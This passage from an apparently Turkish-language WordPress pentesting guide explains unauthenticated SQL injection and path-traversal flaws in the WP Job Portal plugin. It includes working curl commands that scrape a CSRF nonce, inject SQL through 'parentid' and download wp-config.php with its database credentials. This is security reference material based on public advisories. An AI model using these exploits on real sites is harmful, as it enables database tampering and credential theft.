3. **Unauthenticated reachability** – işlem `admin-post.php` üzerinden yürütülse de, mevcut tek kontrol bir **CSRF nonce** (`wp_verify_nonce()`)'dir; bu nonce, shortcode'u içeren herkese açık bir sayfadan herhangi bir ziyaretçi tarafından alınabilir.
#### Exploitation
1. Yeni bir nonce alın:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. `parentid`'i suistimal ederek rastgele SQL enjeksiyonu yapın:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirir; bu da SQLi'yi kanıtlar.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Başka bir görev, **downloadcustomfile**, ziyaretçilerin path traversal yoluyla diskteki **herhangi bir dosyayı** indirmesine izin veriyordu. Zayıf sink `modules/customfield/model.php::downloadCustomUploadedFile()` içinde bulunuyor:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` saldırgan tarafından kontrol ediliyor ve **sanitizasyon yapılmadan** birleştiriliyor. Yine, tek engel özgeçmiş sayfasından alınabilecek bir **CSRF nonce**.
#### Exploitation
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Sunucu `wp-config.php` içeriğini döndürüyor, leaking DB credentials ve auth keys.
## Referanslar
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
{{#include ../../banners/hacktricks-training.md}}